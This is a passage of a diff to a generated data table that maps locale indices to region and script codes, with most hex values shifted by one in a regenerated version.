0x0}, - 367: {region: 0x80, script: 0x5a, flags: 0x0}, - 368: {region: 0x165, script: 0x5a, flags: 0x0}, - 369: {region: 0xbc, script: 0x5a, flags: 0x0}, - 370: {region: 0x165, script: 0x5a, flags: 0x0}, - 371: {region: 0x165, script: 0x5a, flags: 0x0}, - 372: {region: 0x165, script: 0x5a, flags: 0x0}, + 356: {region: 0x141, script: 0x5b, flags: 0x0}, + 357: {region: 0x166, script: 0x5b, flags: 0x0}, + 358: {region: 0x85, script: 0x5b, flags: 0x0}, + 359: {region: 0x166, script: 0x5b, flags: 0x0}, + 360: {region: 0xd5, script: 0x5b, flags: 0x0}, + 361: {region: 0x9f, script: 0x5b, flags: 0x0}, + 362: {region: 0xd7, script: 0x5b, flags: 0x0}, + 363: {region: 0x166, script: 0x5b, flags: 0x0}, + 364: {region: 0x10c, script: 0x5b, flags: 0x0}, + 365: {region: 0xda, script: 0x5b, flags: 0x0}, + 366: {region: 0x97, script: 0x5b, flags: 0x0}, + 367: {region: 0x81, script: 0x5b, flags: 0x0}, + 368: {region: 0x166, script: 0x5b, flags: 0x0}, + 369: {region: 0xbd, script: 0x5b, flags: 0x0}, + 370: {region: 0x166, script: 0x5b, flags: 0x0}, + 371: {region: 0x166, script: 0x5b, flags: 0x0}, + 372: {region: 0x166, script: 0x5b, flags: 0x0}, 373: {region: 0x53, script: 0x3b, flags: 0x0}, - 374: {region: 0x165, script: 0x5a, flags: 0x0}, - 375: {region: 0x95, script: 0x5a, flags: 0x0}, - 376: {region: 0x165, script: 0x5a, flags: 0x0}, - 377: {region: 0x165, script: 0x5a, flags: 0x0}, - 378: {region: 0x99, script: 0x22, flags: 0x0}, - 379: {region: 0x165, script: 0x5a, flags: 0x0}, - 380: {region: 0x9c, script: 0x5, flags: 0x0}, - 381: {region: 0x7e, script: 0x5a, flags: 0x0}, - 382: {region: 0x7b, script: 0x5a, flags: 0x0}, - 383: {region: 0x165, script: 0x5a, flags: 0x0}, - 384: {region: 0x165, script: 0x5a, flags: 0x0}, - 385: {region: 0x165, script: 0x5a, flags: 0x0}, - 386: {region: 0x165, script: 0x5a, flags: 0x0}, - 387: {region: 0x165, script: 0x5a, flags: 0x0}, - 388: {region: 0x165, script: 0x5a, flags: 0x0}, - 389: {region: 0x6f, script: 0x2c, flags: 0x0}, - 390: {region: 0x165, script: 0x5a, flags: 0x0}, - 391: {region: 0xdb, script: 0x22, flags: 0x0}, - 392: {region: 0x165, script: 0x5a, flags: 0x0}, - 393: {region: 0xa7, script: 0x5a, flags: 0x0}, - 394: {region: 0x165, script: 0x5a, flags: 0x0}, - 395: {region: 0xe8, script: 0x5, flags: 0x0}, - 396: {region: 0x165, script: 0x5a, flags: 0x0}, - 397: {region: 0xe8, script: 0x5, flags: 0x0}, - 398: {region: 0x165, script: 0x5a, flags: 0x0}, - 399: {region: 0x165, script: 0x5a, flags: 0x0}, - 400: {region: 0x6e, script: 0x5a, flags: 0x0}, - 401: {region: 0x9c, script: 0x5, flags: 0x0}, - 402: {region: 0x165, script: 0x5a, flags: 0x0}, - 403: {region: 0x165, script: 0x2c, flags: 0x0}, - 404: {region: 0xf1, script: 0x5a, flags: 0x0}, - 405: {region: 0x165, script: 0x5a, flags: 0x0}, - 406: {region: 0x165, script: 0x5a, flags: 0x0}, - 407: {region: 0x165, script: 0x5a, flags: 0x0}, - 408: {region: 0x165, script: 0x2c, flags: 0x0}, - 409: {region: 0x165, script: 0x5a, flags: 0x0}, - 410: {region: 0x99, script: 0x22, flags: 0x0}, - 411: {region: 0x99, script: 0xe6, flags: 0x0}, - 412: {region: 0x95, script: 0x5a, flags: 0x0}, - 413: {region: 0xd9, script: 0x5a, flags: 0x0}, - 414: {region: 0x130, script: 0x32, flags: 0x0}, - 415: {region: 0x165, script: 0x5a, flags: 0x0}, + 374: {region: 0x166, script: 0x5b, flags: 0x0}, + 375: {region: 0x96, script: 0x5b, flags: 0x0}, + 376: {region: 0x166, script: 0x5b, flags: 0x0}, + 377: {region: 0x166, script: 0x5b, flags: 0x0}, + 378: {region: 0x9a, script: 0x22, flags: 0x0}, + 379: {region: 0x166, script: 0x5b, flags: 0x0}, + 380: {region: 0x9d, script: 0x5, flags: 0x0}, + 381: {region: 0x7f, script: 0x5b, flags: 0x0}, + 382: {region: 0x7c, script: 0x5b, flags: 0x0}, + 383: {region: 0x166, script: 0x5b, flags: 0x0}, + 384: {region: 0x166, script: 0x5b, flags: 0x0}, + 385: {region: 0x166, script: 0x5b, flags: 0x0}, + 386: {region: 0x166, script: 0x5b, flags: 0x0}, + 387: {region: 0x166, script: 0x5b, flags: 0x0}, + 388: {region: 0x166, script: 0x5b, flags: 0x0}, + 389: {region: 0x70, script: 0x2c, flags: 0x0}, + 390: {region: 0x166, script: 0x5b, flags: 0x0}, + 391: {region: 0xdc, script: 0x22, flags: 0x0}, + 392: {region: 0x166, script: 0x5b, flags: 0x0}, + 393: {region: 0xa8, script: 0x5b, flags: 0x0}, + 394: {region: 0x166, script: 0x5b, flags: 0x0}, + 395: {region: 0xe9, script: 0x5, flags: 0x0}, + 396: {region: 0x166, script: 0x5b, flags: 0x0}, + 397: {region: 0xe9, script: 0x5, flags: 0x0}, + 398: {region: 0x166, script: 0x5b, flags: 0x0}, + 399: {region: 0x166, script: 0x5b, flags: 0x0}, + 400: {region: 0x6f, script: 0x5b, flags: 0x0}, + 401: {region: 0x9d, script: 0x5, flags: 0x0}, + 402: {region: 0x166, script: 0x5b, flags: 0x0}, + 403: {region: 0x166, script: 0x2c, flags: 0x0}, + 404: {region: 0xf2, script: 0x5b, flags: 0x0}, + 405: {region: 0x166, script: 0x5b, flags: 0x0}, + 406: {region: 0x166, script: 0x5b, flags: 0x0}, + 407: {region: 0x166, script: 0x5b, flags: 0x0}, + 408: {region: 0x166, script: 0x2c, flags: 0x0}, + 409: {region: 0x166, script: 0x5b, flags: 0x0}, + 410: {region: 0x9a, script: 0x22, flags: 0x0}, + 411: {region: 0x9a, script: 0xe9, flags: 0x0}, + 412: {region: 0x96, script: 0x5b, flags: 0x0}, + 413: {region: 0xda, script: 0x5b, flags: 0x0}, + 414: {region: 0x131, script: 0x32, flags: 0x0}, + 415: {region: 0x166, script: 0x5b, flags: 0x0}, 416: {region: 0xe, script: 0x2, flags: 0x1}, - 417: {region: 0x99, script: 0xe, flags: 0x0}, - 418: {region: 0x165, script: 0x5a, flags: 0x0}, - 419: {region: 0x4e, script: 0x5a, flags: 0x0}, - 420: {region: 0x99, script: 0x35, flags: 0x0}, - 421: {region: 0x41, script: 0x5a, flags: 0x0}, - 422: {region: 0x54, script: 0x5a, flags: 0x0}, - 423: {region: 0x165, script: 0x5a, flags: 0x0}, - 424: {region: 0x80, script: 0x5a, flags: 0x0}, - 425: {region: 0x165, script: 0x5a, flags: 0x0}, - 426: {region: 0x165, script: 0x5a, flags: 0x0}, - 427: {region: 0xa4, script: 0x5a, flags: 0x0}, - 428: {region: 0x98, script: 0x5a, flags: 0x0}, - 429: {region: 0x165, script: 0x5a, flags: 0x0}, - 430: {region: 0xdb, script: 0x22, flags: 0x0}, - 431: {region: 0x165, script: 0x5a, flags: 0x0}, - 432: {region: 0x165, script: 0x5, flags: 0x0}, - 433: {region: 0x49, script: 0x5a, flags: 0x0}, - 434: {region: 0x165, script: 0x5, flags: 0x0}, - 435: {region: 0x165, script: 0x5a, flags: 0x0}, + 417: {region: 0x9a, script: 0xe, flags: 0x0}, + 418: {region: 0x166, script: 0x5b, flags: 0x0}, + 419: {region: 0x4e, script: 0x5b, flags: 0x0}, + 420: {region: 0x9a, script: 0x35, flags: 0x0}, + 421: {region: 0x41, script: 0x5b, flags: 0x0}, + 422: {region: 0x54, script: 0x5b, flags: 0x0}, + 423: {region: 0x166, script: 0x5b, flags: 0x0}, + 424: {region: 0x81, script: 0x5b, flags: 0x0}, + 425: {region: 0x166, script: 0x5b, flags: 0x0}, + 426: {region: 0x166, script: 0x5b, flags: 0x0}, + 427: {region: 0xa5, script: 0x5b, flags: 0x0}, + 428: {region: 0x99, script: 0x5b, flags: 0x0}, + 429: {region: 0x166, script: 0x5b, flags: 0x0}, + 430: {region: 0xdc, script: 0x22, flags: 0x0}, + 431: {region: 0x166, script: 0x5b, flags: 0x0}, + 432: {region: 0x166, script: 0x5, flags: 0x0}, + 433: {region: 0x49, script: 0x5b, flags: 0x0}, + 434: {region: 0x166, script: 0x5, flags: 0x0}, + 435: {region: 0x166, script: 0x5b, flags: 0x0}, 436: {region: 0x10, script: 0x3, flags: 0x1}, - 437: {region: 0x165, script: 0x5a, flags: 0x0}, + 437: {region: 0x166, script: 0x5b, flags: 0x0}, 438: {region: 0x53, script: 0x3b, flags: 0x0}, - 439: {region: 0x165, script: 0x5a, flags: 0x0}, - 440: {region: 0x135, script: 0x5a, flags: 0x0}, + 439: {region: 0x166, script: 0x5b, flags: 0x0}, + 440: {region: 0x136, script: 0x5b, flags: 0x0}, 441: {region: 0x24, script: 0x5, flags: 0x0}, - 442: {region: 0x165, script: 0x5a, flags: 0x0}, - 443: {region: 0x165, script: 0x2c, flags: 0x0}, - 444: {region: 0x97, script: 0x3e, flags: 0x0}, - 445: {region: 0x165, script: 0x5a, flags: 0x0}, - 446: {region: 0x99, script: 0x22, flags: 0x0}, - 447: {region: 0x165, script: 0x5a, flags: 0x0}, - 448: {region: 0x73, script: 0x5a, flags: 0x0}, - 449: {region: 0x165, script: 0x5a, flags: 0x0}, - 450: {region: 0x165, script: 0x5a, flags: 0x0}, - 451: {region: 0xe7, script: 0x5a, flags: 0x0}, - 452: {region: 0x165, script: 0x5a, flags: 0x0}, - 453: {region: 0x12b, script: 0x40, flags: 0x0}, - 454: {region: 0x53, script: 0x90, flags: 0x0}, - 455: {region: 0x165, script: 0x5a, flags: 0x0}, - 456: {region: 0xe8, script: 0x5, flags: 0x0}, - 457: {region: 0x99, script: 0x22, flags: 0x0}, - 458: {region: 0xaf, script: 0x41, flags: 0x0}, - 459: {region: 0xe7, script: 0x5a, flags: 0x0}, - 460: {region: 0xe8, script: 0x5, flags: 0x0}, - 461: {region: 0xe6, script: 0x5a, flags: 0x0}, - 462: {region: 0x99, script: 0x22, flags: 0x0}, - 463: {region: 0x99, script: 0x22, flags: 0x0}, - 464: {region: 0x165, script: 0x5a, flags: 0x0}, - 465: {region: 0x90, script: 0x5a, flags: 0x0}, - 466: {region: 0x60, script: 0x5a, flags: 0x0}, + 442: {region: 0x166, script: 0x5b, flags: 0x0}, + 443: {region: 0x166, script: 0x2c, flags: 0x0}, + 444: {region: 0x98, script: 0x3e, flags: 0x0}, + 445: {region: 0x166, script: 0x5b, flags: 0x0}, + 446: {region: 0x9a, script: 0x22, flags: 0x0}, + 447: {region: 0x166, script: 0x5b, flags: 0x0}, + 448: {region: 0x74, script: 0x5b, flags: 0x0}, + 449: {region: 0x166, script: 0x5b, flags: 0x0}, + 450: {region: 0x166, script: 0x5b, flags: 0x0}, + 451: {region: 0xe8, script: 0x5b, flags: 0x0}, + 452: {region: 0x166, script: 0x5b, flags: 0x0}, + 453: {region: 0x12c, script: 0x40, flags: 0x0}, + 454: {region: 0x53, script: 0x92, flags: 0x0}, + 455: {region: 0x166, script: 0x5b, flags: 0x0}, + 456: {region: 0xe9, script: 0x5, flags: 0x0}, + 457: {region: 0x9a, script: 0x22, flags: 0x0}, + 458: {region: 0xb0, script: 0x41, flags: 0x0}, + 459: {region: 0xe8, script: 0x5b, flags: 0x0}, + 460: {region: 0xe9, script: 0x5, flags: 0x0}, + 461: {region: 0xe7, script: 0x5b, flags: 0x0}, + 462: {region: 0x9a, script: 0x22, flags: 0x0}, + 463: {region: 0x9a, script: 0x22, flags: 0x0}, + 464: {region: 0x166, script: 0x5b, flags: 0x0}, + 465: {region: 0x91, script: 0x5b, flags: 0x0}, + 466: {region: 0x61, script: 0x5b, flags: 0x0}, 467: {region: 0x53, script: 0x3b, flags: 0x0}, - 468: {region: 0x91, script: 0x5a, flags: 0x0}, - 469: {region: 0x92, script: 0x5a, flags: 0x0}, - 470: {region: 0x165, script: 0x5a, flags: 0x0}, + 468: {region: 0x92, script: 0x5b, flags: 0x0}, + 469: {region: 0x93, script: 0x5b, flags: 0x0}, + 470: {region: 0x166, script: 0x5b, flags: 0x0}, 471: {region: 0x28, script: 0x8, flags: 0x0}, - 472: {region: 0xd2, script: 0x5a, flags: 0x0}, - 473: {region: 0x78, script: 0x5a, flags: 0x0}, - 474: {region: 0x165, script: 0x5a, flags: 0x0}, - 475: {region: 0x165, script: 0x5a, flags: 0x0}, - 476: {region: 0xd0, script: 0x5a, flags: 0x0}, - 477: {region: 0xd6, script: 0x5a, flags: 0x0}, - 478: {region: 0x165, script: 0x5a, flags: 0x0}, - 479: {region: 0x165, script: 0x5a, flags: 0x0}, - 480: {region: 0x165, script: 0x5a, flags: 0x0}, - 481: {region: 0x95, script: 0x5a, flags: 0x0}, - 482: {region: 0x165, script: 0x5a, flags: 0x0}, - 483: {region: 0x165, script: 0x5a, flags: 0x0}, - 484: {region: 0x165, script: 0x5a, flags: 0x0}, - 486: {region: 0x122, script: 0x5a, flags: 0x0}, - 487: {region: 0xd6, script: 0x5a, flags: 0x0}, - 488: {region: 0x165, script: 0x5a, flags: 0x0}, - 489: {region: 0x165, script: 0x5a, flags: 0x0}, - 490: {region: 0x53, script: 0xfa, flags: 0x0}, - 491: {region: 0x165, script: 0x5a, flags: 0x0}, - 492: {region: 0x135, script: 0x5a, flags: 0x0}, - 493: {region: 0x165, script: 0x5a, flags: 0x0}, - 494: {region: 0x49, script: 0x5a, flags: 0x0}, - 495: {region: 0x165, script: 0x5a, flags: 0x0}, - 496: {region: 0x165, script: 0x5a, flags: 0x0}, - 497: {region: 0xe7, script: 0x5a, flags: 0x0}, - 498: {region: 0x165, script: 0x5a, flags: 0x0}, - 499: {region: 0x95, script: 0x5a, flags: 0x0}, - 500: {region: 0x106, script: 0x20, flags: 0x0}, - 501: {region: 0x1, script: 0x5a, flags: 0x0}, - 502: {region: 0x165, script: 0x5a, flags: 0x0}, - 503: {region: 0x165, script: 0x5a, flags: 0x0}, - 504: {region: 0x9d, script: 0x5a, flags: 0x0}, - 505: {region: 0x9e, script: 0x5a, flags: 0x0}, + 472: {region: 0xd3, script: 0x5b, flags: 0x0}, + 473: {region: 0x79, script: 0x5b, flags: 0x0}, + 474: {region: 0x166, script: 0x5b, flags: 0x0}, + 475: {region: 0x166, script: 0x5b, flags: 0x0}, + 476: {region: 0xd1, script: 0x5b, flags: 0x0}, + 477: {region: 0xd7, script: 0x5b, flags: 0x0}, + 478: {region: 0x166, script: 0x5b, flags: 0x0}, + 479: {region: 0x166, script: 0x5b, flags: 0x0}, + 480: {region: 0x166, script: 0x5b, flags: 0x0}, + 481: {region: 0x96, script: 0x5b, flags: 0x0}, + 482: {region: 0x166, script: 0x5b, flags: 0x0}, + 483: {region: 0x166, script: 0x5b, flags: 0x0}, + 484: {region: 0x166, script: 0x5b, flags: 0x0}, + 486: {region: 0x123, script: 0x5b, flags: 0x0}, + 487: {region: 0xd7, script: 0x5b, flags: 0x0}, + 488: {region: 0x166, script: 0x5b, flags: 0x0}, + 489: {region: 0x166, script: 0x5b, flags: 0x0}, + 490: {region: 0x53, script: 0xfd, flags: 0x0}, + 491: {region: 0x166, script: 0x5b, flags: 0x0}, + 492: {region: 0x136, script: 0x5b, flags: 0x0}, + 493: {region: 0x166, script: 0x5b, flags: 0x0}, + 494: {region: 0x49, script: 0x5b, flags: 0x0}, + 495: {region: 0x166, script: 0x5b, flags: 0x0}, + 496: {region: 0x166, script: 0x5b, flags: 0x0}, + 497: {region: 0xe8, script: 0x5b, flags: 0x0}, + 498: {region: 0x166, script: 0x5b, flags: 0x0}, + 499: {region: 0x96, script: 0x5b, flags: 0x0}, + 500: {region: 0x107, script: 0x20, flags: 0x0}, + 501: {region: 0x1, script: 0x5b, flags: 0x0}, + 502: {region: 0x166, script: 0x5b, flags: 0x0}, + 503: {region: 0x166, script: 0x5b, flags: 0x0}, + 504: {region: 0x9e, script: 0x5b, flags: 0x0}, + 505: {region: 0x9f, script: 0x5b, flags: 0x0}, 506: {region: 0x49, script: 0x17, flags: 0x0}, - 507: {region: 0x97, script: 0x3e, flags: 0x0}, - 508: {region: 0x165, script: 0x5a, flags: 0x0}, - 509: {region: 0x165, script: 0x5a, flags: 0x0}, - 510: {region: 0x106, script: 0x5a, flags: 0x0}, - 511: {region: 0x165, script: 0x5a, flags: 0x0}, - 512: {region: 0xa2, script: 0x49, flags: 0x0}, - 513: {region: 0x165, script: 0x5a, flags: 0x0}, - 514: {region: 0xa0, script: 0x5a, flags: 0x0}, - 515: {region: 0x1, script: 0x5a, flags: 0x0}, - 516: {region: 0x165, script: 0x5a, flags: 0x0}, - 517: {region: 0x165, script: 0x5a, flags: 0x0}, - 518: {region: 0x165, script: 0x5a, flags: 0x0}, - 519: {region: 0x52, script: 0x5a, flags: 0x0}, - 520: {region: 0x130, script: 0x3e, flags: 0x0}, - 521: {region: 0x165, script: 0x5a, flags: 0x0}, - 522: {region: 0x12f, script: 0x5a, flags: 0x0}, - 523: {region: 0xdb, script: 0x22, flags: 0x0}, - 524: {region: 0x165, script: 0x5a, flags: 0x0}, - 525: {region: 0x63, script: 0x5a, flags: 0x0}, - 526: {region: 0x95, script: 0x5a, flags: 0x0}, - 527: {region: 0x95, script: 0x5a, flags: 0x0}, - 528: {region: 0x7d, script: 0x2e, flags: 0x0}, - 529: {region: 0x137, script: 0x20, flags: 0x0}, - 530: {region: 0x67, script: 0x5a, flags: 0x0}, - 531: {region: 0xc4, script: 0x5a, flags: 0x0}, - 532: {region: 0x165, script: 0x5a, flags: 0x0}, - 533: {region: 0x165, script: 0x5a, flags: 0x0}, - 534: {region: 0xd6, script: 0x5a, flags: 0x0}, - 535: {region: 0xa4, script: 0x5a, flags: 0x0}, - 536: {region: 0xc3, script: 0x5a, flags: 0x0}, - 537: {region: 0x106, script: 0x20, flags: 0x0}, - 538: {region: 0x165, script: 0x5a, flags: 0x0}, - 539: {region: 0x165, script: 0x5a, flags: 0x0}, - 540: {region: 0x165, script: 0x5a, flags: 0x0}, - 541: {region: 0x165, script: 0x5a, flags: 0x0}, - 542: {region: 0xd4, script: 0x5, flags: 0x0}, - 543: {region: 0xd6, script: 0x5a, flags: 0x0}, - 544: {region: 0x164, script: 0x5a, flags: 0x0}, - 545: {region: 0x165, script: 0x5a, flags: 0x0}, - 546: {region: 0x165, script: 0x5a, flags: 0x0}, - 547: {region: 0x12f, script: 0x5a, flags: 0x0}, - 548: {region: 0x122, script: 0x5, flags: 0x0}, - 549: {region: 0x165, script: 0x5a, flags: 0x0}, - 550: {region: 0x123, script: 0xeb, flags: 0x0}, - 551: {region: 0x5a, script: 0x5a, flags: 0x0}, - 552: {region: 0x52, script: 0x5a, flags: 0x0}, - 553: {region: 0x165, script: 0x5a, flags: 0x0}, - 554: {region: 0x4f, script: 0x5a, flags: 0x0}, - 555: {region: 0x99, script: 0x22, flags: 0x0}, - 556: {region: 0x99, script: 0x22, flags: 0x0}, - 557: {region: 0x4b, script: 0x5a, flags: 0x0}, - 558: {region: 0x95, script: 0x5a, flags: 0x0}, - 559: {region: 0x165, script: 0x5a, flags: 0x0}, - 560: {region: 0x41, script: 0x5a, flags: 0x0}, - 561: {region: 0x99, script: 0x5a, flags: 0x0}, - 562: {region: 0x53, script: 0xe2, flags: 0x0}, - 563: {region: 0x99, script: 0x22, flags: 0x0}, - 564: {region: 0xc3, script: 0x5a, flags: 0x0}, - 565: {region: 0x165, script: 0x5a, flags: 0x0}, - 566: {region: 0x99, script: 0x75, flags: 0x0}, - 567: {region: 0xe8, script: 0x5, flags: 0x0}, - 568: {region: 0x165, script: 0x5a, flags: 0x0}, - 569: {region: 0xa4, script: 0x5a, flags: 0x0}, - 570: {region: 0x165, script: 0x5a, flags: 0x0}, - 571: {region: 0x12b, script: 0x5a, flags: 0x0}, - 572: {region: 0x165, script: 0x5a, flags: 0x0}, - 573: {region: 0xd2, script: 0x5a, flags: 0x0}, - 574: {region: 0x165, script: 0x5a, flags: 0x0}, - 575: {region: 0xaf, script: 0x57, flags: 0x0}, - 576: {region: 0x165, script: 0x5a, flags: 0x0}, - 577: {region: 0x165, script: 0x5a, flags: 0x0}, + 507: {region: 0x98, script: 0x3e, flags: 0x0}, + 508: {region: 0x166, script: 0x5b, flags: 0x0}, + 509: {region: 0x166, script: 0x5b, flags: 0x0}, + 510: {region: 0x107, script: 0x5b, flags: 0x0}, + 511: {region: 0x166, script: 0x5b, flags: 0x0}, + 512: {region: 0xa3, script: 0x49, flags: 0x0}, + 513: {region: 0x166, script: 0x5b, flags: 0x0}, + 514: {region: 0xa1, script: 0x5b, flags: 0x0}, + 515: {region: 0x1, script: 0x5b, flags: 0x0}, + 516: {region: 0x166, script: 0x5b, flags: 0x0}, + 517: {region: 0x166, script: 0x5b, flags: 0x0}, + 518: {region: 0x166, script: 0x5b, flags: 0x0}, + 519: {region: 0x52, script: 0x5b, flags: 0x0}, + 520: {region: 0x131, script: 0x3e, flags: 0x0}, + 521: {region: 0x166, script: 0x5b, flags: 0x0}, + 522: {region: 0x130, script: 0x5b, flags: 0x0}, + 523: {region: 0xdc, script: 0x22, flags: 0x0}, + 524: {region: 0x166, script: 0x5b, flags: 0x0}, + 525: {region: 0x64, script: 0x5b, flags: 0x0}, + 526: {region: 0x96, script: 0x5b, flags: 0x0}, + 527: {region: 0x96, script: 0x5b, flags: 0x0}, + 528: {region: 0x7e, script: 0x2e, flags: 0x0}, + 529: {region: 0x138, script: 0x20, flags: 0x0}, + 530: {region: 0x68, script: 0x5b, flags: 0x0}, + 531: {region: 0xc5, script: 0x5b, flags: 0x0}, + 532: {region: 0x166, script: 0x5b, flags: 0x0}, + 533: {region: 0x166, script: 0x5b, flags: 0x0}, + 534: {region: 0xd7, script: 0x5b, flags: 0x0}, + 535: {region: 0xa5, script: 0x5b, flags: 0x0}, + 536: {region: 0xc4, script: 0x5b, flags: 0x0}, + 537: {region: 0x107, script: 0x20, flags: 0x0}, + 538: {region: 0x166, script: 0x5b, flags: 0x0}, + 539: {region: 0x166, script: 0x5b, flags: 0x0}, + 540: {region: 0x166, script: 0x5b, flags: 0x0}, + 541: {region: 0x166, script: 0x5b, flags: 0x0}, + 542: {region: 0xd5, script: 0x5, flags: 0x0}, + 543: {region: 0xd7, script: 0x5b, flags: 0x0}, + 544: {region: 0x165, script: 0x5b, flags: 0x0}, + 545: {region: 0x166, script: 0x5b, flags: 0x0}, + 546: {region: 0x166, script: 0x5b, flags: 0x0}, + 547: {region: 0x130, script: 0x5b, flags: 0x0}, + 548: {region: 0x123, script: 0x5, flags: 0x0}, + 549: {region: 0x166, script: 0x5b, flags: 0x0}, + 550: {region: 0x124, script: 0xee, flags: 0x0}, + 551: {region: 0x5b, script: 0x5b, flags: 0x0}, + 552: {region: 0x52, script: 0x5b, flags: 0x0}, + 553: {region: 0x166, script: 0x5b, flags: 0x0}, + 554: {region: 0x4f, script: 0x5b, flags: 0x0}, + 555: {region: 0x9a, script: 0x22, flags: 0x0}, + 556: {region: 0x9a, script: 0x22, flags: 0x0}, + 557: {region: 0x4b, script: 0x5b, flags: 0x0}, + 558: {region: 0x96, script: 0x5b, flags: 0x0}, + 559: {region: 0x166, script: 0x5b, flags: 0x0}, + 560: {region: 0x41, script: 0x5b, flags: 0x0}, + 561: {region: 0x9a, script: 0x5b, flags: 0x0}, + 562: {region: 0x53, script: 0xe5, flags: 0x0}, + 563: {region: 0x9a, script: 0x22, flags: 0x0}, + 564: {region: 0xc4, script: 0x5b, flags: 0x0}, + 565: {region: 0x166, script: 0x5b, flags: 0x0}, + 566: {region: 0x9a, script: 0x76, flags: 0x0}, + 567: {region: 0xe9, script: 0x5, flags: 0x0}, + 568: {region: 0x166, script: 0x5b, flags: 0x0}, + 569: {region: 0xa5, script: 0x5b, flags: 0x0}, + 570: {region: 0x166, script: 0x5b, flags: 0x0}, + 571: {region: 0x12c, script: 0x5b, flags: 0x0}, + 572: {region: 0x166, script: 0x5b, flags: 0x0}, + 573: {region: 0xd3, script: 0x5b, flags: 0x0}, + 574: {region: 0x166, script: 0x5b, flags: 0x0}, + 575: {region: 0xb0, script: 0x58, flags: 0x0}, + 576: {region: 0x166, script: 0x5b, flags: 0x0}, + 577: {region: 0x166, script: 0x5b, flags: 0x0}, 578: {region: 0x13, script: 0x6, flags: 0x1}, - 579: {region: 0x165, script: 0x5a, flags: 0x0}, - 580: {region: 0x52, script: 0x5a, flags: 0x0}, - 581: {region: 0x82, script: 0x5a, flags: 0x0}, - 582: {region: 0xa4, script: 0x5a, flags: 0x0}, - 583: {region: 0x165, script: 0x5a, flags: 0x0}, - 584: {region: 0x165, script: 0x5a, flags: 0x0}, - 585: {region: 0x165, script: 0x5a, flags: 0x0}, - 586: {region: 0xa6, script: 0x4e, flags: 0x0}, - 587: {region: 0x2a, script: 0x5a, flags: 0x0}, - 588: {region: 0x165, script: 0x5a, flags: 0x0}, - 589: {region: 0x165, script: 0x5a, flags: 0x0}, - 590: {region: 0x165, script: 0x5a, flags: 0x0}, - 591: {region: 0x165, script: 0x5a, flags: 0x0}, - 592: {region: 0x165, script: 0x5a, flags: 0x0}, - 593: {region: 0x99, script: 0x52, flags: 0x0}, - 594: {region: 0x8b, script: 0x5a, flags: 0x0}, - 595: {region: 0x165, script: 0x5a, flags: 0x0}, - 596: {region: 0xab, script: 0x53, flags: 0x0}, - 597: {region: 0x106, script: 0x20, flags: 0x0}, - 598: {region: 0x99, script: 0x22, flags: 0x0}, - 599: {region: 0x165, script: 0x5a, flags: 0x0}, - 600: {region: 0x75, script: 0x5a, flags: 0x0}, - 601: {region: 0x165, script: 0x5a, flags: 0x0}, - 602: {region: 0xb4, script: 0x5a, flags: 0x0}, - 603: {region: 0x165, script: 0x5a, flags: 0x0}, - 604: {region: 0x165, script: 0x5a, flags: 0x0}, - 605: {region: 0x165, script: 0x5a, flags: 0x0}, - 606: {region: 0x165, script: 0x5a, flags: 0x0}, - 607: {region: 0x165, script: 0x5a, flags: 0x0}, - 608: {region: 0x165, script: 0x5a, flags: 0x0}, - 609: {region: 0x165, script: 0x5a, flags: 0x0}, - 610: {region: 0x165, script: 0x2c, flags: 0x0}, - 611: {region: 0x165, script: 0x5a, flags: 0x0}, - 612: {region: 0x106, script: 0x20, flags: 0x0}, - 613: {region: 0x112, script: 0x5a, flags: 0x0}, - 614: {region: 0xe7, script: 0x5a, flags: 0x0}, - 615: {region: 0x106, script: 0x5a, flags: 0x0}, - 616: {region: 0x165, script: 0x5a, flags: 0x0}, - 617: {region: 0x99, script: 0x22, flags: 0x0}, - 618: {region: 0x99, script: 0x5, flags: 0x0}, - 619: {region: 0x12f, script: 0x5a, flags: 0x0}, - 620: {region: 0x165, script: 0x5a, flags: 0x0}, - 621: {region: 0x52, script: 0x5a, flags: 0x0}, - 622: {region: 0x60, script: 0x5a, flags: 0x0}, - 623: {region: 0x165, script: 0x5a, flags: 0x0}, - 624: {region: 0x165, script: 0x5a, flags: 0x0}, - 625: {region: 0x165, script: 0x2c, flags: 0x0}, - 626: {region: 0x165, script: 0x5a, flags: 0x0}, - 627: {region: 0x165, script: 0x5a, flags: 0x0}, + 579: {region: 0x166, script: 0x5b, flags: 0x0}, + 580: {region: 0x52, script: 0x5b, flags: 0x0}, + 581: {region: 0x83, script: 0x5b, flags: 0x0}, + 582: {region: 0xa5, script: 0x5b, flags: 0x0}, + 583: {region: 0x166, script: 0x5b, flags: 0x0}, + 584: {region: 0x166, script: 0x5b, flags: 0x0}, + 585: {region: 0x166, script: 0x5b, flags: 0x0}, + 586: {region: 0xa7, script: 0x4f, flags: 0x0}, + 587: {region: 0x2a, script: 0x5b, flags: 0x0}, + 588: {region: 0x166, script: 0x5b, flags: 0x0}, + 589: {region: 0x166, script: 0x5b, flags: 0x0}, + 590: {region: 0x166, script: 0x5b, flags: 0x0}, + 591: {region: 0x166, script: 0x5b, flags: 0x0}, + 592: {region: 0x166, script: 0x5b, flags: 0x0}, + 593: {region: 0x9a, script: 0x53, flags: 0x0}, + 594: {region: 0x8c, script: 0x5b, flags: 0x0}, + 595: {region: 0x166, script: 0x5b, flags: 0x0}, + 596: {region: 0xac, script: 0x54, flags: 0x0}, + 597: {region: 0x107, script: 0x20, flags: 0x0}, + 598: {region: 0x9a, script: 0x22, flags: 0x0}, + 599: {region: 0x166, script: 0x5b, flags: 0x0}, + 600: {region: 0x76, script: 0x5b, flags: 0x0}, + 601: {region: 0x166, script: 0x5b, flags: 0x0}, + 602: {region: 0xb5, script: 0x5b, flags: 0x0}, + 603: {region: 0x166, script: 0x5b, flags: 0x0}, + 604: {region: 0x166, script: 0x5b, flags: 0x0}, + 605: {region: 0x166, script: 0x5b, flags: 0x0}, + 606: {region: 0x166, script: 0x5b, flags: 0x0}, + 607: {region: 0x166, script: 0x5b, flags: 0x0}, + 608: {region: 0x166, script: 0x5b, flags: 0x0}, + 609: {region: 0x166, script: 0x5b, flags: 0x0}, + 610: {region: 0x166, script: 0x2c, flags: 0x0}, + 611: {region: 0x166, script: 0x5b, flags: 0x0}, + 612: {region: 0x107, script: 0x20, flags: 0x0}, + 613: {region: 0x113, script: 0x5b, flags: 0x0}, + 614: {region: 0xe8, script: 0x5b, flags: 0x0}, + 615: {region: 0x107, script: 0x5b, flags: 0x0}, + 616: {region: 0x166, script: 0x5b, flags: 0x0}, + 617: {region: 0x9a, script: 0x22, flags: 0x0}, + 618: {region: 0x9a, script: 0x5, flags: 0x0}, + 619: {region: 0x130, script: 0x5b, flags: 0x0}, + 620: {region: 0x166, script: 0x5b, flags: 0x0}, + 621: {region: 0x52, script: 0x5b, flags: 